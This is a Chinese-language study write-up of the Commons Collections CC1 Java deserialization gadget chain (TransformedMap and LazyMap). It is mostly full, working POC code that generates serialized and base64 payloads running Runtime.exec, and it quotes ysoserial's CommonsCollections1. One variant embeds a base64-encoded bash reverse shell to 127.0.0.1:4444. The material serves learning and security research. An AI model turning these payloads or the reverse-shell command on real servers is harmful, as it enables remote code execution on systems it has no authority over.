Java反序列化之CC1

TransformedMap&&LazyMap

友情提醒:不能跟进JDK改一下这里

img

这里会选择两种CC1来学习,一条是网上普遍的有反射的,还有一条就是P牛的纯净版

CC1纯净版

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package Base.Unserialize.CC;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;


public class CommonCollections1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String[].class},
                        new Object[]
                                {new String[]{"open","-a","Calculator"}}),
        };
        Transformer transformerChain = new
                ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null,
                transformerChain);
        outerMap.put("test", "xxxx");
    }
}

img

运行完之后就会弹出计算器,但是这是为什么呢,我们先了解“Transformer”家族一下

TransformedMap:

TransformedMap用于对Java标准数据结构Map做一个修饰,被修饰过的Map在添加新的元素时,将可以执行一个回调。我们通过下面这行代码对innerMap进行修饰,传出的outerMap即是修饰后的Map:

1
MapouterMap=TransformedMap.decorate(innerMap,keyTransformer, valueTransformer);

其中,keyTransformer是处理新元素的Key的回调,valueTransformer是处理新元素的value的回调。 我们这里所说的”回调“,并不是传统意义上的一个回调函数,而是一个实现了Transformer接口的类。

Transformer:

Transformer是一个接口,它只有一个待实现的方法:

1
2
3
public interface Transformer {
    public Object transform(Object input);
}

TransformedMap在转换Map的新元素时,就会调用transform方法,这个过程就类似在调用一个”回调 函数“,这个回调的参数是原始对象。因此,一般来说,Transformer是用来包装多种Transformer最后形transformerChain,方便回调

ConstantTransformer:

ConstantTransformer是实现了Transformer接口的一个类,它的过程就是在构造函数的时候传入一个 对象,并在transform方法将这个对象再返回:

1
2
3
4
5
6
7
public ConstantTransformer(Object constantToReturn) {
  super();
  iConstant = constantToReturn;
}
public Object transform(Object input) {
  return iConstant;
}

所以他的作用其实就是包装任意一个对象,在执行回调时返回这个对象,进而方便后续操作。

InvokerTransformer:

InvokerTransformer是实现了Transformer接口的一个类,这个类可以用来执行任意方法,这也是反序列化能执行任意代码的关键。

在实例化这个InvokerTransformer时,需要传入三个参数,第一个参数是待执行的方法名,第二个参数 是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表:

1
2
3
4
5
6
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
  super();
  iMethodName = methodName;
  iParamTypes = paramTypes;
  iArgs = args;
}

后来回调的transform方法,就是执行了input对象的iMethodName方法:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
public Object transform(Object input) {
  if (input == null) {
    return null;
  }
  try {
    Class cls = input.getClass();
    Method method = cls.getMethod(iMethodName, iParamTypes);
    return method.invoke(input, iArgs);
  } catch (NoSuchMethodException ex) {
    throw new FunctorException("InvokerTransformer: The method '" +
iMethodName + "' on '" + input.getClass() + "' does not exist");
  } catch (IllegalAccessException ex) {
    throw new FunctorException("InvokerTransformer: The method '" +
iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
  } catch (InvocationTargetException ex) {
    throw new FunctorException("InvokerTransformer: The method '" +
iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
  }
}

ChainedTransformer

ChainedTransformer也是实现了Transformer接口的一个类,它的作用是将内部的多个Transformer串 在一起。通俗来说就是,前一个回调返回的结果,作为后一个回调的参数传入,

img

它的代码也比较简单:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
public ChainedTransformer(Transformer[] transformers) {
  super();
  iTransformers = transformers;
}
public Object transform(Object object) {
  for (int i = 0; i < iTransformers.length; i++) {
    object = iTransformers[i].transform(object);
  }
  return object;
}

了解完了“Transformer”家族,就可以很简单的理解P牛写的CC1纯净版了,如下图

img

简单的调试一下,主要是看最后的回调

1
2
3
4
5
    public Object put(Object key, Object value) {
        key = this.transformKey(key);
        value = this.transformValue(value);
        return ((AbstractMapDecorator)this).getMap().put(key, value);
    }

跟进第二行的transformValue

1
2
3
    protected Object transformValue(Object object) {
        return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
    }

transform会对前面定义的两个Transformer回调

img

1
2
3
4
5
6
7
    public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

        return object;
    }

调用栈如下

1
2
3
4
at org.apache.commons.collections.functors.ChainedTransformer.transform(ChainedTransformer.java:122)
at org.apache.commons.collections.map.TransformedMap.transformValue(TransformedMap.java:141)
at org.apache.commons.collections.map.TransformedMap.put(TransformedMap.java:185)
at Base.Unserialize.CC.CommonCollections1.main(CommonCollections1.java:25)

但是当我写成生成序列化payload,就像平时大家做题一样的时候发生了一件事,就是始终不能成功,貌似是这么去写transformers是不可序列化的,这个时候我们反射即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
package Base.Unserialize.CC;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class CommonCollections1Seri {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String[].class},
                        new Object[]{new String[]{"open","-a","Calculator"}}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        //outerMap.put("test", "xxxx");

        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(outerMap);
        oos.close();

        String base64Payload = Base64.getEncoder().encodeToString(bos.toByteArray());
        System.out.println(base64Payload);
    }
}

写个测试能否成功反序列化的类,最后为了预期的命令执行,也就是TransformedMap成功的回调,我们必须进行put,因此还要加个强制类型转换

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package Base.Unserialize.CC;

import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;
import java.util.Map;
import java.util.Scanner;

public class DeserializeTest {
    public static void main(String[] args) {
        Scanner scanner = new Scanner(System.in);

        System.out.println("请输入 Base64 编码的 Payload:");
        String base64Payload = scanner.nextLine();

        try {
            byte[] data = Base64.getDecoder().decode(base64Payload);

            ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data));
            Object obj = ois.readObject();
            ois.close();

            System.out.println("反序列化成功!对象类型: " + obj.getClass().getName());

            if (obj instanceof Map) {
                Map<String, String> map = (Map<String, String>) obj;
                map.put("trigger", "value");
            }
        } catch (Exception e) {
            e.printStackTrace();
        } finally {
            scanner.close();
        }
    }
}

img

也可以保存到bin文件里面

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package Base.Unserialize.CC;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections1Seri2 {
    public static void main(String[] args) {
        try {
            // 构造 Transformer 链
            Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
                                       new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
                                       new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String[].class},
                                       new Object[]{new String[]{"open", "-a", "Calculator"}}),
            };


            Transformer transformerChain = new ChainedTransformer(transformers);
            Map innerMap = new HashMap();
            Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
            //outerMap.put("test", "xxxx");

            try (FileOutputStream fos = new FileOutputStream("payload.bin");
                 ObjectOutputStream oos = new ObjectOutputStream(fos)) {
                oos.writeObject(outerMap);
                System.out.println("Payload 已保存到 payload.bin");
            }
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package Base.Unserialize.CC;

import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.util.Map;

public class DeserializeTest1 {
    public static void main(String[] args) {
        try {
            try (FileInputStream fis = new FileInputStream("payload.bin");
                 ObjectInputStream ois = new ObjectInputStream(fis)) {

                Object obj = ois.readObject();
                System.out.println("反序列化成功!对象类型: " + obj.getClass().getName());

                if (obj instanceof Map) {
                    Map<String, String> map = (Map<String, String>) obj;
                    map.put("trigger", "value");
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

不过其实这些都并不是真实的POC,仅仅只是本地用来calc的,不能成功利用,如果少了强制转换就要歇菜

CC1 TransformedMap POC编写

前面我们说到,触发这个漏洞的核心,在于我们需要向Map中加入一个新的元素。在demo中,我们可 以手工执行outerMap.put("test", "xxxx");来触发漏洞,但在实际反序列化时,我们需要找到一个类,它在反序列化的readObject逻辑里有类似的写入操作。

这个类就是 sun.reflect.annotation.AnnotationInvocationHandler,我们查看它的 readObject 方法(这是8u71以前的代码,8u71以后做了一些修改):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    s.defaultReadObject();
    // Check to make sure that types have not evolved incompatibly

    AnnotationType annotationType = null;
    try {
        annotationType = AnnotationType.getInstance(type);
    } catch (IllegalArgumentException e) {
        // Class is no longer an annotation type; time to punch out
        throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
    }
    
    Map<String, Class<?>> memberTypes = annotationType.memberTypes();
    // If there are annotation members without values, that
    // situation is handled by the invoke method.
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        String name = memberValue.getKey();
        Class<?> memberType = memberTypes.get(name);
        if (memberType != null) {  // i.e. member still exists
            Object value = memberValue.getValue();
            if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {
                memberValue.setValue(
                    new AnnotationTypeMismatchExceptionProxy(
                        value.getClass() + "[" + value + "]").setMember(
                        annotationType.members().get(name)));
            }
        }
    }
}

很明显进行了强制转换for (Map.Entry<String, Object> memberValue : memberValues.entrySet())再进行键值处理

1
memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)));

所以我们对代码进行替换,需要创建一个AnnotationInvocationHandler对象,并将前面构造的 HashMap设置进来,但是需要去反射把map放进去:

1
2
3
4
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);

不过,为什么需要反射呢?其实很简单,前面学习反射的时候我们就知道,因为我们必须要保证所有对象可被序列化不过我并没成功执行,因为我是8u221,https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/f8a528d0379d 在8u71以后大概是2015年12月的时候,Java 官方修改了sun.reflect.annotation.AnnotationInvocationHandler的readObject函数

img

可以看到在赋值之前新建了一个LinkedHashMap而不是我们存入的map了所以自然会失败

所以我们只需要安装一个低于8u71版本的jdk就好了,不过在写poc的时候有个小问题,如果没往innerMap里面传参实际上是不能成功执行命令的,debug一下,跟进AnnotationInvocationHandler:readObject

img

会发现在触发之前,需要表内有值,解决这个问题很简单,但是原因好像很复杂,解决

  1. sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第一个参数必须是 Annotation的子类,且其中必须含有至少一个方法,假设方法名是X
  2. 被 TransformedMap.decorate 修饰的Map中必须有一个键名为X的元素
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
/*
 * Copyright (c) 2003, 2006, Oracle and/or its affiliates. All rights reserved.
 * ORACLE PROPRIETARY/CONFIDENTIAL. Use is subject to license terms.
 *
 *
 *
 *
 *
 *
 *
 *
 *
 *
 *
 *
 *
 *
 *
 *
 *
 *
 *
 *
 */

package java.lang.annotation;

/**
 * Indicates how long annotations with the annotated type are to
 * be retained.  If no Retention annotation is present on
 * an annotation type declaration, the retention policy defaults to
 * {@code RetentionPolicy.CLASS}.
 *
 * <p>A Retention meta-annotation has effect only if the
 * meta-annotated type is used directly for annotation.  It has no
 * effect if the meta-annotated type is used as a member type in
 * another annotation type.
 *
 * @author  Joshua Bloch
 * @since 1.5
 */
@Documented
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.ANNOTATION_TYPE)
public @interface Retention {
    RetentionPolicy value();
}

所以该怎么传也很清楚

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
package Base.Unserialize.CC;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.*;

public class CommonCollections1Seri3 {
    public static void main(String[] args) {
        try {
            // 构造 Transformer 链
            Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
                            new Object[]{"getRuntime", new Class[0]}),
                    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
                            new Object[]{null, new Object[0]}),
                    new InvokerTransformer("exec", new Class[]{String[].class},
                            new Object[]{new String[]{"open", "-a", "Calculator"}}),
            };


            Transformer transformerChain = new ChainedTransformer(transformers);
            Map innerMap = new HashMap();
            innerMap.put("value", "xxxx");
            Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
            //outerMap.put("value", "yyy");
            Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
            construct.setAccessible(true);
            InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

            ByteArrayOutputStream barr = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(barr);
            oos.writeObject(handler);
            oos.close();

            System.out.println(barr);
            ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
            Object o = (Object) ois.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

不过这也还不是我们平时用到的,平时CTF中常常出现的是base64编码的,在 ObjectOutputStream 序列化后,将字节数组转换为Base64

1
2
3
            byte[] serializedData = barr.toByteArray();
            String base64Data = Base64.getEncoder().encodeToString(serializedData);
            System.out.println(base64Data);

加上就好了,而一般Java里面不打内存马的情况反弹shell会比较方便,但是由于 Java 的 Runtime.getRuntime().exec() 不能直接解析 Bash 重定向符号 (>&<| 等),我们需要使用 Base64 编码 或 数组方式 来绕过限制。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
package Base.Unserialize.CC;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.*;

public class CommonCollections1Seri3 {
    public static void main(String[] args) {
        try {
            // 构造 Transformer 链
            Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
                                       new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
                                       new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String[].class},
                                       //new Object[]{new String[]{"open", "-a", "Calculator"}}),
                                       new Object[]{new String[]{
                                           "/bin/bash",
                                           "-c",
                                           "echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEyNy4wLjAuMS80NDQ0IDA+JjE= | base64 -d | bash"
                                       }}),
            };


            Transformer transformerChain = new ChainedTransformer(transformers);
            Map innerMap = new HashMap();
            innerMap.put("value", "xxxx");
            Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
            //outerMap.put("value", "yyy");
            Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
            construct.setAccessible(true);
            InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

            ByteArrayOutputStream barr = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(barr);
            oos.writeObject(handler);
            oos.close();

            System.out.println(barr);
            ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
            Object o = (Object) ois.readObject();

            byte[] serializedData = barr.toByteArray();
            String base64Data = Base64.getEncoder().encodeToString(serializedData);
            System.out.println(base64Data);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

CC1 LazyMap POC编写

在ysoserial里面其实用的并不是TransformedMap,而是LazyMap,对比了一下两条利用链,LazyMap的漏洞触发点和TransformedMap唯一的差别是,TransformedMap是在写入元素的时候执行transform:

1
2
3
    protected Object transformValue(Object object) {
        return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
    }

而LazyMap是在其get方法中执行的factory.transform。其实这也好理解,LazyMap 的作用是“懒加载”,在get找不到值的时候,它会调用 factory.transform 方法去获取一个值:

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
}
    return map.get(key);
}

但是又如何调用到这个get呢?AnnotationInvocationHandler类的invoke方法有调用到get:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public Object invoke(Object var1, Method var2, Object[] var3) {
        String var4 = var2.getName();
        Class[] var5 = var2.getParameterTypes();
        if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
            return this.equalsImpl(var3[0]);
        } else if (var5.length != 0) {
            throw new AssertionError("Too many parameters for an annotation method");
        } else {
            switch (var4) {
                case "toString":
                    return this.toStringImpl();
                case "hashCode":
                    return this.hashCodeImpl();
                case "annotationType":
                    return this.type;
                default:
                    Object var6 = this.memberValues.get(var4);
                    if (var6 == null) {
                        throw new IncompleteAnnotationException(this.type, var4);
                    } else if (var6 instanceof ExceptionProxy) {
                        throw ((ExceptionProxy)var6).generateException();
                    } else {
                        if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
                            var6 = this.cloneArray(var6);
                        }

                        return var6;
                    }
            }
        }
    }

可以看到绕过逻辑非常简单,直接就会调用get,但是需要调用invoke到话怎么做呢?

我们可以使用Java对象代理,作为一门静态语言,如果想劫持一个对象内部的方法调用,实现类似PHP的魔术方法__call ,我们要用到java.reflect.Proxy :

1
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

Proxy.newProxyInstance的第一个参数是ClassLoader,我们用默认的即可;第二个参数是我们需要 代理的对象集合;第三个参数是一个实现了InvocationHandler接口的对象,里面包含了具体代理的逻辑。

写个简单的demo,比如说,一个类ExampleInvocationHandler

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
package Base.Unserialize.CC;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.Map;
public class ExampleInvocationHandler implements InvocationHandler {
    protected Map map;
    public ExampleInvocationHandler(Map map) {
        this.map = map;
    }
    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws
            Throwable {
        if (method.getName().compareTo("get") == 0) {
            System.out.println("Hook method: " + method.getName());
            return "Hacked Object";
        }
        return method.invoke(this.map, args);
    }
}

只要调用的方法名为get就返回Hacked Object,对应的写个app来加载

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
package Base.Unserialize.CC;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class app {
    public static void main(String[] args) throws Exception {
        InvocationHandler handler = new ExampleInvocationHandler(new HashMap());
        Map proxyMap = (Map)
                Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class},
                        handler);
        proxyMap.put("hello", "world");
        String result = (String) proxyMap.get("hello");
        System.out.println(result);
    }
}

可以看到即使是hello,但是返回依旧Hacked Object,可以总结几点

  • sun.reflect.annotation.AnnotationInvocationHandler 是一个实现了 InvocationHandler 的类,它本身就是一个动态代理处理器 。
  • 在反序列化时,如果它被包装成一个代理对象(Proxy) ,那么对这个代理对象的任何方法调用 都会进入 AnnotationInvocationHandler#invoke 方法。
  • LazyMap 是 Apache Commons Collections 中的一个类,它的 get() 方法会在键不存在时 调用 Transformer 链(如 ChainedTransformer)。
  • 如果能让 AnnotationInvocationHandler#invoke 调用 LazyMap#get,就能触发 Transformer 链(如 Runtime.exec())。

对TransformedMap的POC进行替换即可,需要注意的一点就是代理之后的对象不能直接被序列化,入口依旧是AnnotationInvocationHandler#readObject,所以需要AnnotationInvocationHandler再包裹一层

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
package Base.Unserialize.CC;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections1_LazyMap {
    public static void main(String[] args) {
        try {
            Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
                            new Object[]{"getRuntime", new Class[0]}),
                    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
                            new Object[]{null, new Object[0]}),
                    new InvokerTransformer("exec", new Class[]{String[].class},
                            //new Object[]{new String[]{"open", "-a", "Calculator"}}),
                            new Object[]{new String[]{"calc"}}),
//                            new Object[]{new String[]{
//                                    "/bin/bash",
//                                    "-c",
//                                    "echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEyNy4wLjAuMS80NDQ0IDA+JjE= | base64 -d | bash"
//                            }})
            };

            Transformer chainedTransformer = new ChainedTransformer(transformers);
            Map innerMap = new HashMap();
            Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer);

            Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
            constructor.setAccessible(true);
            InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, lazyMap);

            //触发 invoke
            Map proxyMap = (Map) Proxy.newProxyInstance(
                    Map.class.getClassLoader(),
                    new Class[]{Map.class},
                    handler
            );
            handler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);

            ByteArrayOutputStream barr = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(barr);
            oos.writeObject(handler);
            oos.close();

            System.out.println(barr);
            ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
            Object o = (Object) ois.readObject();

//            String base64Payload = Base64.getEncoder().encodeToString(barr.toByteArray());
//            System.out.println(base64Payload);


        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

不过这条链子也依旧受jdk版本控制,也就是说,CC1都会受版本控制,

调试上述POC的时候,会发现弹出了两个计算器,或者说,还没有执行到readObject的时候就弹出了计算器,这显然不是预期的结果,原因是什么呢?

在使用Proxy代理了map对象后,我们在任何地方执行map的方法都会触发Payload弹出计算器,所以,在本地调试代码的时候,因为调试器会在下面调用一些toString之类的方法,导致不经意间触发了 命令。看看ysoserial里面怎么写的 https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
package ysoserial.payloads;

import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

/*
	Gadget chain:
		ObjectInputStream.readObject()
			AnnotationInvocationHandler.readObject()
				Map(Proxy).entrySet()
					AnnotationInvocationHandler.invoke()
						LazyMap.get()
							ChainedTransformer.transform()
								ConstantTransformer.transform()
								InvokerTransformer.transform()
									Method.invoke()
										Class.getMethod()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.getRuntime()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.exec()

	Requires:
		commons-collections
 */
@SuppressWarnings({"rawtypes", "unchecked"})
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.FROHOFF })
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {

	public InvocationHandler getObject(final String command) throws Exception {
		final String[] execArgs = new String[] { command };
		// inert chain for setup
		final Transformer transformerChain = new ChainedTransformer(
			new Transformer[]{ new ConstantTransformer(1) });
		// real chain for after setup
		final Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", new Class[] {
					String.class, Class[].class }, new Object[] {
					"getRuntime", new Class[0] }),
				new InvokerTransformer("invoke", new Class[] {
					Object.class, Object[].class }, new Object[] {
					null, new Object[0] }),
				new InvokerTransformer("exec",
					new Class[] { String.class }, execArgs),
				new ConstantTransformer(1) };

		final Map innerMap = new HashMap();

		final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

		final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

		final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

		Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

		return handler;
	}

	public static void main(final String[] args) throws Exception {
		PayloadRunner.run(CommonsCollections1.class, args);
	}

	public static boolean isApplicableJavaVersion() {
        return JavaVersion.isAnnInvHUniversalMethodImpl();
    }
}

可以看到ysoserial对弹两个计算器有所处理,延迟加载Transformer链,它在POC的最后才将执行命令的Transformer数组设置到transformerChain 中,原因是避免本地生成序列化流的程序执行到命令(在调试程序的时候可能会触发一次Proxy#invoke ):

赞赏支持

Licensed under CC BY-NC-SA 4.0